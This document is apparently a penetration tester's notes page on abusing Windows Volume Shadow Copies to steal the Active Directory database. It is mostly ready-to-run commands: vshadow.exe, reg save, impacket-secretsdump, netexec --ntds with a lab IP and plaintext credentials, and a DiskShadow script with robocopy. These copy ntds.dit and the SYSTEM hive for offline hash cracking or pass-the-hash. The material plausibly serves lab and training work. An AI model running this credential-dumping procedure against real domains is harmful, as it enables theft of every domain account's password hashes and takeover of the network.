Summery
Volume Shadow Copy (VSS) are a Windows feature that creates snapshots of disks/volumes at a particular point in time. These snapshots let Windows or backup software access older versions of files, even while those files are being used.
When Windows creates a snapshot of a drive, it stores it in a special hidden system area managed by the Volume Shadow Copy Service. Shadow copies are stored inside the disk at the block/device level, not as normal files. They are exposed through a special device path like \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1.
To manage volume shadow copies, the Microsoft signed binary vshadow.exe is offered as part of the Windows SDK.
In pentesting, VSS is especially interesting because a snapshot may contain copies of sensitive files, including things like the Active Directory database - C:\Windows\NTDS\ntds.dit.
Tips
Volume Shadow Copies and Named pipes don’t have much in common but they are confusing because of a similar syntax that is being used for both of them.
\\?\ - NT native extended path syntax (bypasses Win32 normalization, used for long paths, VSS, raw devices)
\\.\ - Win32 device namespace (includes named pipes, disks, serial ports)
Privilege Escalation
VSS can aid privilege escalation when you already have local Administrator or SeBackupPrivilege/SeRestorePrivilege.
vshadow.exe
To perform this exploit we do:
vshadow.exe -nw -p C:- Take a snapshot.copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.bak- Take note of the shadow copy device name and copy it to the C drive, find a place to which you can write.reg.exe save hklm\system c:\system.bak- Save the system hive as well.impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL- After you move both to your attack host, open them up.
You can now try to crack those hashes or use them as-is in a pass-the-hash attack.
netexec
There are two simple methods to drop NTDS.dit, you may want try both if anyone fails:
netexec smb 10.129.81.31 -u 'Caroline.Robinson' -p 'zaq1@WSX' --ntds - Dump NTDS using the default DRSUAPI replication method
netexec smb 10.129.81.31 -u 'Caroline.Robinson' -p 'zaq1@WSX' --ntds vss - Use the Volume Shadow Copy Service (VSS) method instead
diskshadow
This attack vector creates a persistent Volume Shadow Copy of C: using DiskShadow, exposing it as E: to access the locked NTDS.dit database. Copies the database from the snapshot for offline hash extraction with Impacket’s secretsdump.py.
- Make a file on your attacker host called “abyss” with
nvim copier. This is a DiskShadow script containing commands to create and expose a VSS snapshot of driveC:toE:.
set verbose on
set context persistent nowriters
set metadata C:\Windows\Temp\snapshot.cab
add volume c: alias snapshot
create
expose %snapshot% e:
- Convert it to Windows newlines with
unix2dos copier - Upload it on the target
- Run
diskshadow /s C:\<PATH>\copier - Now there’s a copy of the
C:drive atE:. robocopy /b E:\Windows\ntds . ntds.dit- Download it locally and crack it with secretsdump.py
References
Attacking Active Directory & NTDS.dit